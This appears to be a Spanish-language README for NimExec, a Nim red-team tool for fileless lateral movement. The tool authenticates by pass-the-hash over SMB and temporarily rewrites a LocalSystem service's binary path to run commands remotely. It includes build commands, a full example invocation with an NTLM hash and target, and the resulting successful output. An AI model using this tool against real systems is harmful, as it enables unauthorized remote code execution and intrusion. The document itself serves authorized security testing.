frkngksl/nimexecEjecución de comandos sin archivos para movimiento lateral en Nim
Básicamente, NimExec es una herramienta de ejecución remota de comandos sin archivos que utiliza el Protocolo Remoto del Administrador de Control de Servicios (MS-SCMR). Cambia la ruta binaria de un servicio aleatorio o dado ejecutado por LocalSystem para ejecutar el comando dado en el objetivo y lo restaura más tarde mediante paquetes RPC hechos a mano en lugar de llamadas a WinAPI. Envía estos paquetes a través de SMB2 y la tubería con nombre svcctl.
NimExec necesita un hash NTLM para autenticarse en la máquina objetivo y luego completa este proceso de autenticación con el método de Autenticación NTLM a través de paquetes hechos a mano.
Dado que todos los paquetes de red necesarios se elaboran manualmente y no se utilizan funciones específicas del sistema operativo, NimExec se puede usar en diferentes sistemas operativos utilizando el soporte de compilación cruzada de Nim.
Este proyecto fue inspirado por la herramienta SharpNoPSExec de Julio. Puedes pensar que NimExec es una versión de SharpNoPSExec compilable de forma cruzada y con soporte integrado de Pass the Hash. También aprendí las estructuras de paquetes de red requeridas del Script Invoke-SMBExec de Kevin Robertson.
nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim
El comando anterior utiliza un recolector de basura diferente porque el recolector de basura predeterminado en Nim está generando algunos errores SIGSEGV durante el proceso de búsqueda de servicios.
Además, puedes instalar los módulos Nim requeridos a través de Nimble con el siguiente comando:
nimble install ptr_math nimcrypto hostname
test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v
_..._
.-'_..._''.
_..._ .--. __ __ ___ __.....__ __.....__ .' .' '.\
.' '. |__|| |/ `.' `. .-'' '. .-'' '. / .'
. .-. ..--.| .-. .-. ' / .-''"'-. `. / .-''"'-. `. . '
| ' ' || || | | | | |/ /________\ \ ____ _____/ /________\ \| |
| | | || || | | | | || |`. \ .' /| || |
| | | || || | | | | |\ .-------------' `. `' .' \ .-------------'. '
| | | || || | | | | | \ '-.____...---. '. .' \ '-.____...---. \ '. .
| | | ||__||__| |__| |__| `. .' .' `. `. .' '. `._____.-'/
| | | | `''-...... -' .' .'`. `. `''-...... -' `-.______ /
| | | | .' / `. `. `
'--' '--' '----' '----'
@R0h1rr1m
[+] Connected to 10.200.2.2:445
[+] NTLM Authentication with Hash is succesfull!
[+] Connected to IPC Share of target!
[+] Opened a handle for svcctl pipe!
[+] Bound to the RPC Interface!
[+] RPC Binding is acknowledged!
[+] SCManager handle is obtained!
[+] Number of obtained services: 265
[+] Selected service is LxpSvc
[+] Service: LxpSvc is opened!
[+] Previous Service Path is: C:\Windows\system32\svchost.exe -k netsvcs
[+] Service config is changed!
[!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)
[+] Service start request is sent!
[+] Service config is restored!
[+] Service handle is closed!
[+] Service Manager handle is closed!
[+] SMB is closed!
[+] Tree is disconnected!
[+] Session logoff!
Ha sido probado en Windows 10 y 11, Windows Server 16, 19 y 22 desde máquinas Ubuntu 20.04 y Windows 10.
-v | --verbose Enable more verbose output.
-u | --username <Username> Username for NTLM Authentication.*
-h | --hash <NTLM Hash> NTLM password hash for NTLM Authentication.**
-p | --password <Password> Plaintext password.**
-t | --target <Target> Lateral movement target.*
-c | --command <Command> Command to execute.*
-d | --domain <Domain> Domain name for NTLM Authentication.
-s | --service <Service Name> Name of the service instead of a random one.
--help Show the help message.
Solo para pruebas de seguridad autorizadas. El uso indebido de esta herramienta contra sistemas sin permiso explícito es ilegal.